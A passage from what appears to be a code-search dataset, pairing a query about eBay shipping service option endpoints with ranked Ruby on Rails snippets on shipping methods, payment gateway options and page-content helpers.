"title": "" }, { "docid": "874033e45ef4e828dc87afbc58174a0b", "score": "0.5446721", "text": "def inner_html; end", "title": "" }, { "docid": "16faaee0193e4554043b52415a4281dd", "score": "0.5442718", "text": "def get_html_content(page_path, area, b_is_editable = true, b_force_control_header=false,editor_width=650,editor_height=500)\n str_output=String.new\n if ((defined?(@hide_admin).nil? || @hide_admin.blank?) )\n obj_content = HtmlContent.get_by_page_path_and_area(page_path, area, content_language) \n b_is_shared = page_path.starts_with? '_'\n control_header = render(:partial=>'content/content_templates/control_header', :locals=>{:page_path=>page_path, :area=>area, :b_is_page_shared=>b_is_shared, :b_is_editable_area => b_is_editable, :content_type=>'html', :b_force_control_header=> b_force_control_header, :editor_width=>editor_width,:editor_height=>editor_height} ) \n content_div=render(:partial=>'content/content_templates/html_content', :locals=>{:obj_content=>obj_content} ) \n str_output=control_header + content_div\n else \n str_root = (page_path == '/') ? '#root' : '#root/'\n\t str_content_dir = File.join(Content.publish_path,\"#{page_path.downcase.sub(/^\\//,str_root)}.page\",'contents.html_contents') \n str_file_name = File.join(str_content_dir,content_language,\"_#{area}.html\")\n #in case the file doesn't exists, we'll try to get the one in the default content language\n str_file_name = File.join(str_content_dir,Content.default_language,\"_#{area}.html\") unless File.exists?(str_file_name)\n str_output=(File.read(str_file_name)) rescue ''\n str_output=\"<!-- html_content #{area} begin -->\\n\"+str_output+\"<!-- html_content #{area} end -->\\n\"\n end\n \n return str_output\n end", "title": "" }, { "docid": "c732ec4d71caa460682f9f7c0cfc5e8e", "score": "0.5442229", "text": "def thredded_page(&block)\n # enable the host app to easily check whether a thredded view is being rendered:\n content_for :thredded, true\n content_for :thredded_page_content, &block\n render partial: 'thredded/shared/page'\n end", "title": "" }, { "docid": "950f38fe7d56a024ed2ab717e52a9cfa", "score": "0.54346323", "text": "def parsed_content\n #content\n #TODO turn this off! set the following to false\n content = self.relink_content false\n #content = Page.cleanup(content) #unless it's already been done locally that is...\n \n end", "title": "" }, { "docid": "39522be022748a343d427b3a04f4b4ee", "score": "0.5433136", "text": "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end", "title": "" }, { "docid": "39522be022748a343d427b3a04f4b4ee", "score": "0.5433136", "text": "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end", "title": "" }, { "docid": "7e8a0f69538807bd3771ad8e26c5a092", "score": "0.5429854", "text": "def content_for\n @content_for\n end", "title": "" }, { "docid": "2f2f06a4cb32dca46305448bb414ca44", "score": "0.54271686", "text": "def content\n page.formatted_data\n end", "title": "" }, { "docid": "2d21beaf8158211a96075d119b032281", "score": "0.542041", "text": "def page\n return root_element if root_element\n\n SitePrism.logger.warn('Root Element not found; Falling back to `super`')\n super\n end", "title": "" }, { "docid": "b4c23470a4093e82767cab3fbcc1e67a", "score": "0.5419174", "text": "def new\n @content_wrapper_content = @content_wrapper.content_wrapper_contents.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content_wrapper_content }\n end\n end", "title": "" } ]
1ef28ac01ab82679ea3d58549cbe5af6
GET /ebay/shipping_service_options/1 GET /ebay/shipping_service_options/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "f1035dc2dbc00df6ad60acc95661d4fb", "score": "0.7679175", "text": "def index\n @ebay_shipping_service_options = Ebay::ShippingServiceOption.all\n end", "title": "" }, { "docid": "78c211340f893fa04c2b387dddfc0bb9", "score": "0.74736345", "text": "def set_ebay_shipping_service_option\n @ebay_shipping_service_option = Ebay::ShippingServiceOption.find(params[:id])\n end", "title": "" }, { "docid": "d73a2e0252afee7b96973eae783cd557", "score": "0.7025764", "text": "def create\n @ebay_shipping_service_option = Ebay::ShippingServiceOption.new(ebay_shipping_service_option_params)\n\n respond_to do |format|\n if @ebay_shipping_service_option.save\n format.html { redirect_to @ebay_shipping_service_option, notice: 'Shipping service option was successfully created.' }\n format.json { render :show, status: :created, location: @ebay_shipping_service_option }\n else\n format.html { render :new }\n format.json { render json: @ebay_shipping_service_option.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d5070a88b4173133f93947015dda755", "score": "0.68861127", "text": "def getShippingOptions(parameters)\n parameters['hash'] = OpenSSL::HMAC.hexdigest('md5', @key, parameters.values.join('.'))\n postData = parameters.map{|k,v| \"#{CGI.escape(k)}=#{CGI.escape(v)}}\"}.join('&')\n headers = {'User-Agent' => 'Mozilla/5.0', 'Content-Type' => 'application/x-www-form-urlencoded', 'Content-Length' => postData.length.to_s}\n uri = URI.parse(@baseuri + @webstore + '/v1/shipping.json')\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri, headers)\n request.set_form_data(parameters) \n response = http.request(request)\n puts response.body\n end", "title": "" }, { "docid": "6217394c5cbfae533c9cbe24dc7de808", "score": "0.68765414", "text": "def set_ebay_shipping_service\n @ebay_shipping_service = Ebay::ShippingService.find(params[:id])\n end", "title": "" }, { "docid": "dd2ee1fce64fb90841f917b443cb04dd", "score": "0.68203723", "text": "def ebay_shipping_service_option_params\n params.require(:ebay_shipping_service_option).permit(:shipping_service_id, :shipping_service_cost)\n end", "title": "" }, { "docid": "3a3621608f7d7bec783055904f8d9c45", "score": "0.68032503", "text": "def invoice_get_all_shipping_options\n response = xmlrpc('Invoice.getAllShippingOptions')\n end", "title": "" }, { "docid": "3a8592f2bd130eded1541133438ac845", "score": "0.6718191", "text": "def index\n @ebay_shipping_services = Ebay::ShippingService.all\n end", "title": "" }, { "docid": "f6861f97e94922b283edace478d36ba9", "score": "0.66539145", "text": "def update\n respond_to do |format|\n if @ebay_shipping_service_option.update(ebay_shipping_service_option_params)\n format.html { redirect_to @ebay_shipping_service_option, notice: 'Shipping service option was successfully updated.' }\n format.json { render :show, status: :ok, location: @ebay_shipping_service_option }\n else\n format.html { render :edit }\n format.json { render json: @ebay_shipping_service_option.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a317b7baa851cb4176222a8c2e5914d", "score": "0.6333061", "text": "def get_service_options\n ServiceOption.all.map(&:to_proto)\n rescue => e\n fail!(:internal, :unknown, \"Unknown error when listing ServiceOptions: #{e.message}\")\n end", "title": "" }, { "docid": "6cb233b0505b7fac4f69a94362df668e", "score": "0.63160026", "text": "def shipping_service\n @shipping_service ||= service_items.select {|i| i.service.key == 'shipping'}.first\n end", "title": "" }, { "docid": "3daa8d702424d85fa175f97d156dd611", "score": "0.630491", "text": "def create\n @ebay_shipping_service = Ebay::ShippingService.new(ebay_shipping_service_params)\n\n respond_to do |format|\n if @ebay_shipping_service.save\n format.html { redirect_to @ebay_shipping_service, notice: 'Shipping service was successfully created.' }\n format.json { render :show, status: :created, location: @ebay_shipping_service }\n else\n format.html { render :new }\n format.json { render json: @ebay_shipping_service.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6972b6fb0ef2eef7a7bdaa6ad144af9c", "score": "0.6173739", "text": "def ebay_shipping_service_params\n params.require(:ebay_shipping_service).permit(:name)\n end", "title": "" }, { "docid": "4269b8a051b2754539f9b47b516992e1", "score": "0.61150706", "text": "def get_funding_options\n url_options = \"/api/order/#{system_id}/queryfunding\"\n url = @url + url_options\n order = build_order(funding=false)\n resp = Hash.from_xml(send_request(url, 'POST', order).body)\n resp.try(:with_indifferent_access).try(:[], :funding_options).try(:[], :option)\n end", "title": "" }, { "docid": "34348b7135ef1a96138ecb1fcb9120eb", "score": "0.61053044", "text": "def serviceOpts\nend", "title": "" }, { "docid": "7c5b6a3498e591c9b19eec7bf57bb793", "score": "0.6086224", "text": "def options\n render json: BonusElementItem.options(options_params)\n end", "title": "" }, { "docid": "c5bde44dab5581a434ccd9134f3c99ce", "score": "0.6030132", "text": "def list_deposit_options( )\n url = \"#{self.url}/options\"\n status, response = rest_get( url )\n return status, response['options'] if ok?( status ) && response['options']\n return status, ''\n end", "title": "" }, { "docid": "17ef4ad7b15c251be4dddab754d6dd4d", "score": "0.59916013", "text": "def destroy\n @ebay_shipping_service_option.destroy\n respond_to do |format|\n format.html { redirect_to ebay_shipping_service_options_url, notice: 'Shipping service option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7d6437cd71729c4aa4aab66efe606ae9", "score": "0.59709936", "text": "def update\n respond_to do |format|\n if @ebay_shipping_service.update(ebay_shipping_service_params)\n format.html { redirect_to @ebay_shipping_service, notice: 'Shipping service was successfully updated.' }\n format.json { render :show, status: :ok, location: @ebay_shipping_service }\n else\n format.html { render :edit }\n format.json { render json: @ebay_shipping_service.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4787ba6d67c560a697f53e1a740d0fd3", "score": "0.5907773", "text": "def index\n @shipping_methods = @shop.shipping_methods\n\n respond_to do |format|\n format.html\n format.json { render json: @shipping_methods }\n end\n end", "title": "" }, { "docid": "bd05089e3cfc678ca5ebeba29a17958e", "score": "0.5874958", "text": "def get_options; end", "title": "" }, { "docid": "ebced4184bd67f29be119f084f696bf5", "score": "0.58425903", "text": "def get_options\n response = @http.get(\"session/scenario/options\")\n msg response, Logger::DEBUG\n return response\n end", "title": "" }, { "docid": "4135d16cd386614a606da75dd480dd7d", "score": "0.58220345", "text": "def delivery_services\n url = \"#{@url}reference/delivery-services\"\n make_request(url)\n end", "title": "" }, { "docid": "9a65537dd1d9e1d231ef4ed305ce34b0", "score": "0.5776147", "text": "def purchase_options\n\t{\n\t\t:ip\t\t\t\t\t\t\t\t=> ip_address,\n\t\t:billing_address\t=> {\n\t\t\t:name\t\t\t\t\t\t=> \"#{fname} #{sname}\",\n\t\t\t:address1 => \"123 Main St.\",\n :city => \"New York\",\n :state => \"NY\",\n :country => \"US\",\n :zip => \"10001\"\n\t\t}\n\t}\n\tend", "title": "" }, { "docid": "362f1afda3faa3b9036e84e23e7df430", "score": "0.57709175", "text": "def options_available\n parameters = { query: { 'server_token'=> ENV['UBER_SERVER_TOKEN'],\n 'latitude'=> 37.775818,\n 'longitude'=> -122.418028 } }\n self.class.get('/v1/products', parameters)\n end", "title": "" }, { "docid": "a9e3748d8766022d41256c4f4b8cfcf1", "score": "0.57661027", "text": "def shipping_option_id\n @payment['shipping_option_id']\n end", "title": "" }, { "docid": "b3bb2246e005144248c8666ce1ed70d1", "score": "0.57497835", "text": "def get_a_shipping_quote\n shipping = @helper.get_yaml_data(@application['cart_shipping'])\n shipping['shipping_quote'].each do |element, value|\n puts '[INFO] ==> Selecting value for ' + element\n @browser.text_field(value[:identifier],value[:element]).set value[:text] if value[:text]\n @browser.select_list(value[:identifier],value[:element]).select value[:select] if value[:select]\n end\n\n get_a_quote = 'Get a Quote'\n\n [:text,:title].each do |sym|\n @helper.custom_click_button sym, get_a_quote if @browser.button(sym,get_a_quote).exists?\n end \n \n assert_section 'cart_shipping'\n shipping['shipping_method'].each do |name,shipping_method_id|\n puts \"[INFO] Trying to select the shipping method [#{name}]\"\n if @browser.radio(:id,shipping_method_id).exists? then\n\n @browser.radio(:id,shipping_method_id).set\n break\n end \n end\n\n \n @helper.custom_click_button :text, 'Update Total'\n end", "title": "" }, { "docid": "40e7a08e84337c031e68c254342ea5d9", "score": "0.57477206", "text": "def shipping\n set_title('Shipping rates')\n @shipping_types = OrderShippingType.find(:all)\n end", "title": "" }, { "docid": "1db9fd8ca240529fc43deb78a9cb25a7", "score": "0.57465523", "text": "def set_ShippingService(value)\n set_input(\"ShippingService\", value)\n end", "title": "" }, { "docid": "1db9fd8ca240529fc43deb78a9cb25a7", "score": "0.57465523", "text": "def set_ShippingService(value)\n set_input(\"ShippingService\", value)\n end", "title": "" }, { "docid": "1db9fd8ca240529fc43deb78a9cb25a7", "score": "0.57465523", "text": "def set_ShippingService(value)\n set_input(\"ShippingService\", value)\n end", "title": "" }, { "docid": "05596506e4f178f91ee8771dd3df584b", "score": "0.5742749", "text": "def purchase_options\n {\n :ip => ip_address,\n :billing_address => {\n :name => \"Admin Amir\",\n :address1 => \"123 Main St.\",\n :city => \"New York\",\n :state => \"NY\",\n :country => \"US\",\n :zip => \"10001\"\n }\n }\n end", "title": "" }, { "docid": "60cad6f85eb1cc0256caaa320599135a", "score": "0.5740279", "text": "def get_shipping_type\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "title": "" }, { "docid": "4e05cfe33524d030aaf4401b9baec216", "score": "0.5739797", "text": "def set_shipping_method\n render :json => update_shipping_method\n end", "title": "" }, { "docid": "00554b05bc4f52c558c57c6d9992940c", "score": "0.57323277", "text": "def shopping_guide\r\n JSON.parse(api_get('Configurations.egg', 'ShoppingGuideConfig').body)\r\n end", "title": "" }, { "docid": "f3ae8dc101b38a3d9c23db391602b36d", "score": "0.57295525", "text": "def active_shipping_quote(service_name, shipping_options)\n @active_shipping ||= {}\n o = origin(shipping_options)\n d = destination(shipping_options)\n p = package(shipping_options)\n unless @active_shipping[[o,d,p]]\n response = \"ActiveMerchant::Shipping::#{config[:label]}\".constantize.\n new(config[:config])\n @active_shipping[[o,d,p]] = response.find_rates(o, d, p)\n end\n\n rate = @active_shipping[[o,d,p]].rates.find { |rate|\n rate.service_name == \"#{config[:label]} #{service_name}\"\n }\n rate ? rate.price.to_f / 100.0 : nil\n end", "title": "" }, { "docid": "e4db5433fe390248d0b06ea751b5934b", "score": "0.5717128", "text": "def get_store_options(params = {})\n commit(Ebay::Requests::GetStoreOptions, params)\n end", "title": "" }, { "docid": "1c0833c18ac34a0c8e7d81ef512b5800", "score": "0.57090986", "text": "def flat_rate_shipping_and_handling_options(order, stage)\n # max_fallback = 0.0\n # shipping_options = ShippingMethod.all.map do |shipping_method|\n # max_fallback = shipping_method.fallback_amount if shipping_method.fallback_amount > max_fallback\n # { :name => \"#{shipping_method.id}\",\n # :label => \"#{shipping_method.name} - #{shipping_method.zone.name}\",\n # :amount => (shipping_method.fallback_amount*100) + 1,\n # :default => shipping_method.is_default }\n # end\n #\n #\n # default_shipping_method = ShippingMethod.find(:first, :conditions => {:is_default => true})\n #\n # opts = { :shipping_options => shipping_options,\n # :max_amount => (order.total + max_fallback)*100\n # }\n #\n # opts[:shipping] = (default_shipping_method.nil? ? 0 : default_shipping_method.fallback_amount) if stage == \"checkout\"\n #\n # opts\n {}\n end", "title": "" }, { "docid": "2e5910e218a1a93471df4b65b051f995", "score": "0.5703876", "text": "def load_shipping_methods\n if @order.present?\n @shipping_methods = Spree::ShippingMethod.all_available(@order, :back_end)\n else\n error=error_response_method($e24)\n render:json=>error\n end\n end", "title": "" }, { "docid": "43974b107c2c100f836b34f59c7c92df", "score": "0.56952024", "text": "def flat_rate_shipping_and_handling_options(order, stage)\n # max_fallback = 0.0\n # shipping_options = ShippingMethod.all.map do |shipping_method|\n # max_fallback = shipping_method.fallback_amount if shipping_method.fallback_amount > max_fallback\n # { :name => \"#{shipping_method.id}\",\n # :label => \"#{shipping_method.name} - #{shipping_method.zone.name}\",\n # :amount => (shipping_method.fallback_amount*100) + 1,\n # :default => shipping_method.is_default }\n # end\n #\n #\n # default_shipping_method = ShippingMethod.find(:first, :conditions => {:is_default => true})\n #\n # opts = { :shipping_options => shipping_options,\n # :max_amount => (order.total + max_fallback)*100\n # }\n #\n # opts[:shipping] = (default_shipping_method.nil? ? 0 : default_shipping_method.fallback_amount) if stage == \"checkout\"\n #\n # opts\n {}\n end", "title": "" }, { "docid": "a7944a8c293c22dc184d0a858a314c11", "score": "0.56854475", "text": "def shipping_choices\n return @shipping_choices unless @shipping_choices.nil?\n\n @shipping_choices = {\n fastest: OpenStruct.new({\n label: 'Fastest',\n value: 'fastest',\n estimated_days: 1,\n amount_in_dollars: 0.0\n }),\n cheapest: OpenStruct.new({\n label: 'Least Expensive',\n value: 'cheapest',\n estimated_days: 1,\n amount_in_dollars: 0.0\n })\n }\n\n self.customer_order.purchase_orders.each do |po|\n rates = po.shipment.rates\n vendor = po.vendor\n\n @shipping_choices.each_key do |shipping_choice|\n rate = PurchaseService::ShippingService.find_rate(rates: rates, shipping_choice: shipping_choice, vendor: vendor)\n s_and_h = PurchaseService::ShippingService.get_shipping_and_handling_for_one_purchase_order(rate: rate, vendor: vendor)\n\n if rate['estimated_days'] > @shipping_choices[shipping_choice].estimated_days\n @shipping_choices[shipping_choice].estimated_days = rate['estimated_days']\n end\n\n @shipping_choices[shipping_choice].amount_in_dollars += s_and_h.combined_handling_in_dollars\n end\n end\n\n @shipping_choices.each_key do |shipping_choice|\n @shipping_choices[shipping_choice].annotated_label = \"#{@shipping_choices[shipping_choice].label}: #{number_to_currency(@shipping_choices[shipping_choice].amount_in_dollars)}\n </br><small>in approximately #{@shipping_choices[shipping_choice].estimated_days} days</small>\"\n end\n\n @shipping_choices\n end", "title": "" }, { "docid": "3b723db013b3131418eaaf1db44ea455", "score": "0.56674916", "text": "def option_order(id)\n get(\"#{ROBINHOOD_OPTION_ORDER_ROUTE}#{id}/\", return_as_json: true)\n end", "title": "" }, { "docid": "edbf1ba5f13ad892a2a5c1a4342ac5ba", "score": "0.56654024", "text": "def gateway_options\n options = { :email => order.email,\n :customer => order.email,\n :ip => order.last_ip_address,\n # Need to pass in a unique identifier here to make some\n # payment gateways happy.\n #\n # For more information, please see Spree::Payment#set_unique_identifier\n :order_id => gateway_order_id }\n\n if shipment\n Rails.logger.debug 'GatewayShipment'\n Rails.logger.debug shipment.inspect\n Rails.logger.debug shipment.ship_total.to_f.inspect\n Rails.logger.debug shipment.tax_total.to_f.inspect\n Rails.logger.debug shipment.item_total.to_f.inspect\n Rails.logger.debug shipment.promo_total.to_f.inspect\n options.merge!({ :shipping => shipment.cost * 100,\n # :tax => shipment.tax_total * 100, # needs to be line item adjustments\n :subtotal => shipment.item_cost * 100,\n # :discount => shipment.promo_total * 100, # needs to be line item adjustments\n :currency => currency })\n else\n Rails.logger.debug 'GatewayMarket'\n # todo have this run after all shipment payments and just collect balances due?\n options.merge!({ :shipping => order.ship_total * 100,\n :tax => order.tax_total * 100,\n :subtotal => order.item_total * 100,\n :discount => order.promo_total * 100,\n :currency => currency })\n end\n\n options.merge!({ :billing_address => order.bill_address.try(:active_merchant_hash),\n :shipping_address => order.ship_address.try(:active_merchant_hash) })\n Rails.logger.debug 'GatewayResults'\n Rails.logger.debug options.inspect\n Rails.logger.debug options[:shipping].to_f.inspect\n Rails.logger.debug options[:tax].to_f.inspect\n Rails.logger.debug options[:subtotal].to_f.inspect\n Rails.logger.debug options[:discount].to_f.inspect\n\n options\n end", "title": "" }, { "docid": "5096fd9780708386cf7c14d6b8bde693", "score": "0.5664576", "text": "def get_guest_delivery_options item\n typeCode = (item[:temp_item_type_id].blank? or item[:temp_item_type_id] == '0') ? item[:item_type_id] : item[:temp_item_type_id]\n item_loan_type = loan_type typeCode\n\n if noncirculating? item \n []\n elsif item[:status] == NOT_CHARGED and (item_loan_type == 'regular' or item_loan_type == 'day') \n [ { :service => L2L, :location => item[:location] } ] unless no_l2l_day_loan_types? item_loan_type\n elsif item[:status] == CHARGED and (item_loan_type == 'regular' or item_loan_type == 'day')\n [ { :service => HOLD, :location => item[:location], :status => item[:itemStatus] } ]\n elsif item_loan_type == 'minute' and (item[:status] == NOT_CHARGED or item[:status] == CHARGED)\n [ { :service => ASK_CIRCULATION, :location => item[:location] } ]\n else\n # default case covers:\n # item_loan_type == 'nocirc' \n # item[:status] == MISSING or item[:status] == LOST\n # anything else\n []\n end\n\n end", "title": "" }, { "docid": "217d95880d932385cebd9880eb81ba21", "score": "0.56557965", "text": "def get_item_shipping(params = {})\n commit(Ebay::Requests::GetItemShipping, params)\n end", "title": "" }, { "docid": "4cbd74af848f93c0baf3605857ea49d6", "score": "0.5649611", "text": "def service\n options[:service]\n end", "title": "" }, { "docid": "4cbd74af848f93c0baf3605857ea49d6", "score": "0.5649611", "text": "def service\n options[:service]\n end", "title": "" }, { "docid": "61d97ad0e86b90fd572745fb943dc08b", "score": "0.5634164", "text": "def url( order, options = {} )\n order_total = (order.total * self.rate).ceil(2)\n pc_direct_params = {\n total_fee: order_total\n }\n pc_escrow_params = {\n :price => (order.item_total*self.rate).ceil(2),\n :quantity => 1,\n :logistics_type=> 'EXPRESS',\n :logistics_fee => (order.shipments.to_a.sum(&:cost)*self.rate).ceil(2),\n :logistics_payment=>'BUYER_PAY' }\n wap_params = {\n total_fee: order_total\n }\n\n\n case service\n when Gateway::AlipayBase::ServiceEnum.alipay_wap\n options.merge!( wap_params )\n ::Alipay::Service.create_direct_pay_by_user_wap_url( options )\n when Gateway::AlipayBase::ServiceEnum.create_direct_pay_by_user\n options.merge!( pc_direct_params )\n #create_direct_pay_by_user\n ::Alipay::Service.create_direct_pay_by_user_url( options )\n when Gateway::AlipayBase::ServiceEnum.create_partner_trade_by_buyer\n # escrow service\n options.merge!( pc_escrow_params )\n ::Alipay::Service.create_partner_trade_by_buyer_url( options )\n when Gateway::AlipayBase::ServiceEnum.trade_create_by_buyer\n options.merge!( pc_escrow_params )\n ::Alipay::Service.trade_create_by_buyer_url( options )\n end\n end", "title": "" }, { "docid": "f0c124b65451b09a32ae15504fec2f34", "score": "0.562811", "text": "def options_service\n @options_service ||= SystemOptionsService.new(self, 'options')\n end", "title": "" }, { "docid": "0f67c69ce54c806089ce2f4b95f0ec09", "score": "0.5624895", "text": "def get options = {}\n query_api(BOUNCES_URL, process_header_options(options))\n end", "title": "" }, { "docid": "cc49c041807cca42f3e8eea08e743875", "score": "0.5621283", "text": "def get_item_shipping(params = {})\n commit(EbayTrading::Requests::GetItemShipping, params)\n end", "title": "" }, { "docid": "89294ed98f53362702950e081a6573a1", "score": "0.5618026", "text": "def get_service_price(options)\n body = options\n response = request(__method__, body)\n response.body[:get_service_price_response][:get_service_price_result].to_f\n end", "title": "" }, { "docid": "72ba2debddd7f3862cc20c97430b77b7", "score": "0.5614821", "text": "def addShippingAddress(subscriptionId, result)\n \n passThru = result.hosted_page.pass_thru_content\n shippingAddress = JSON.parse(passThru) \n ChargeBee::Address.update({\n :label => \"Shipping Address\",\n :subscription_id => subscriptionId,\n :addr => shippingAddress.fetch(\"address\"),\n :extended_addr => shippingAddress.fetch(\"extended_addr\"),\n :city => shippingAddress.fetch(\"city\"),\n :state => shippingAddress.fetch(\"state\"),\n :zip => shippingAddress.fetch(\"zip_code\")\n })\n \n end", "title": "" }, { "docid": "836ba075f884332a13fc9743f4fe7653", "score": "0.5601862", "text": "def select_shipping_method\n @title = \"Select Your Shipping Method - Step 2 of 3\"\n\n if @order == nil then\n redirect_to_checkout(\"Have you entered all of this information yet?\") and return\n end\n \n if (Substruct.use_live_rate_calculation == true) then\n end\n \n @items = @order.order_line_items\n session[:order_shipping_types] = @order.get_shipping_prices\n # Set default price to pick what radio button should be entered\n @default_price = session[:order_shipping_types][0].id if session[:order_shipping_types][0]\n end", "title": "" }, { "docid": "1f79d095cbb457c8ebed3aa9d914c6c6", "score": "0.5588277", "text": "def get_shipping_type\n shipping_region = ShippingRegion.find_by_shipping_region_id(shipping_region_id)\n json_response(shipping_region)\n end", "title": "" }, { "docid": "21981ff5666953a49b02e962bdff1d8e", "score": "0.5584081", "text": "def options\n # figure out our options for this request\n add_ssl_options(\n # for GETs, we pass the params to Faraday to encode\n {params: get_args}.merge(HTTPService.http_options).merge(raw_options)\n )\n end", "title": "" }, { "docid": "fa4fa2059924a7b6c45a27d6974c0704", "score": "0.55760556", "text": "def get options\n return nil if validate_api_options(options)\n begin\n response = RestClient.get(get_uri(options), header_options(options))\n\n JSON.parse(response, :symbolize_names => true)\n rescue => e\n Rails.logger.error \"Error: #{e}\"\n nil\n end\n end", "title": "" }, { "docid": "b33014e05a3835401463bb010ba237e6", "score": "0.55579436", "text": "def show\n @shipping_method = @shop.shipping_methods.find params[:id]\n\n respond_to do |format|\n format.html\n format.json { render json: @shipping_method }\n end\n end", "title": "" }, { "docid": "de359fa3d906a23733c85b36e4779c1a", "score": "0.5548434", "text": "def show\n @shipping_option = ShippingOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shipping_option }\n end\n end", "title": "" }, { "docid": "ac5516e9ad78002e3796ce5d8ddde6e8", "score": "0.5539555", "text": "def add_shipping(post, options)\n shipping = options[:shipping]\n\n return post[:ShippingRequired] = false if shipping.blank?\n\n post[:Shipping] = {}\n\n post[:Shipping][:ConsumerPrice] = shipping[:price] || 0.00\n post[:Shipping][:ConsumerTaxes] = shipping[:tax] || 0.00\n post[:Shipping][:ConsumerDuty] = shipping[:duty] || 0.00\n\n address = options[:shipping_address]\n\n return post if address.blank?\n\n post[:Consignee] = {}\n\n post[:Consignee][:Name] = address[:name]\n post[:Consignee][:Company] = address[:company] if address[:company].present?\n post[:Consignee][:Phone] = address[:phone] if address[:phone].present?\n post[:Consignee][:Address] = address[:address1]\n post[:Consignee][:City] = address[:city]\n post[:Consignee][:Region] = address[:state]\n post[:Consignee][:PostalCode] = address[:zip]\n post[:Consignee][:Country] = address[:country]\n end", "title": "" }, { "docid": "665e1ec22ed1b5abc41cdfb5418d97a9", "score": "0.5502042", "text": "def get_store_options(params = {})\n commit(EbayTrading::Requests::GetStoreOptions, params)\n end", "title": "" }, { "docid": "63844e529e0fb9736fc748e43ef60ac6", "score": "0.5492793", "text": "def new\n @shipping_option = ShippingOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shipping_option }\n end\n end", "title": "" }, { "docid": "c5bee3144396e02f95dbe52fe08dff47", "score": "0.5487728", "text": "def get_shipping_countries_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: StoreShoppingCartsApi.get_shipping_countries ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling StoreShoppingCartsApi.get_shipping_countries\"\n end\n # resource path\n local_var_path = \"/carts/{id}/countries\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SampleCountriesResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StoreShoppingCartsApi#get_shipping_countries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "7b86eb21bbfc355788215023cd275365", "score": "0.5457748", "text": "def get_payment_options\n \n po = @data.payment_option\n\n options = PaymentMethod.options\n options.each do |option|\n method = option['pay_method']\n if po.pay_method == method\n option['checked'] = ' checked'\n option[\"pay_ref_#{method}\"] = po.pay_ref\n else\n option['checked'] = ''\n option[\"pay_ref_#{method}\"] = \"\"\n end\n end\n options\n end", "title": "" }, { "docid": "e555a9572e9c8797ef15c0dca4ea3ecf", "score": "0.5450855", "text": "def get_ks_services(options)\n result = \"--enabled=\"+options['q_struct']['enabled_services'].value+\" --disabled=\"+options['q_struct']['disabled_services'].value\n return result\nend", "title": "" }, { "docid": "22a7340ff78e12aa735a7d5a9be51b26", "score": "0.5449891", "text": "def gateway_options\n options = { :email => order.email,\n :customer => order.email,\n :ip => order.last_ip_address,\n # Need to pass in a unique identifier here to make some\n # payment gateways happy.\n #\n # For more information, please see Spree::Payment#set_unique_identifier\n :order_id => gateway_order_id }\n\n if drop_ship_order\n options.merge!({ :shipping => drop_ship_order.ship_total * 100,\n :tax => drop_ship_order.tax_total * 100, # TODO needs to be line item adjustments\n :subtotal => drop_ship_order.item_total * 100,\n :discount => drop_ship_order.promo_total * 100, # TODO needs to be line item adjustments\n :currency => currency })\n else\n # todo have this run after all shipment payments and just collect balance due?\n options.merge!({ :shipping => order.ship_total * 100,\n :tax => order.tax_total * 100,\n :subtotal => order.item_total * 100,\n :discount => order.promo_total * 100,\n :currency => currency })\n end\n\n options.merge!({ :billing_address => order.bill_address.try(:active_merchant_hash),\n :shipping_address => order.ship_address.try(:active_merchant_hash) })\n\n options\n end", "title": "" }, { "docid": "4bd0c6d11793767fc5c8e9b6609d9778", "score": "0.5437057", "text": "def index\n @shipping_categories = @shop.shipping_categories\n respond_to do |format|\n format.html\n format.json { render json: @shipping_categories }\n end\n end", "title": "" }, { "docid": "048083d8bee89d657bd1022adb338be1", "score": "0.5426722", "text": "def get_featured options\n make_request :get, APPS_URL, :featured, options, [:pn]\n end", "title": "" }, { "docid": "9fd7afa1489d7f533b3640c35f34cdb9", "score": "0.5406728", "text": "def type\n options.service\n end", "title": "" }, { "docid": "a3541b26ad41989b4df6080dbe36f0d5", "score": "0.54019415", "text": "def options\n data = {\n brands: Brand.order(name: :asc).as_api_response(:options),\n colors: Color.order(name: :asc).as_api_response(:options),\n categories: Category.order(name: :asc).as_api_response(:options)\n }\n\n render_success(data: data)\n end", "title": "" }, { "docid": "89beb28413c1bc67763aa8965c88d05f", "score": "0.5378948", "text": "def get_shipping_regions\n shipping_regions = ShippingRegion.all\n json_response(shipping_regions)\n end", "title": "" }, { "docid": "6b2dda581cb2890142f0de109c1aa692", "score": "0.5372821", "text": "def set_ec_options\n options = { }\n options.merge!(basic_options)\n\n # options.merge!({ :pagestyle => '' })\n\n # Choose 1 out of 3 options\n options.merge!({ \"noshipping\" => '1' }) #NoShipping\n #options.merge!({ \"reqconfirmshipping\" => '1' }) 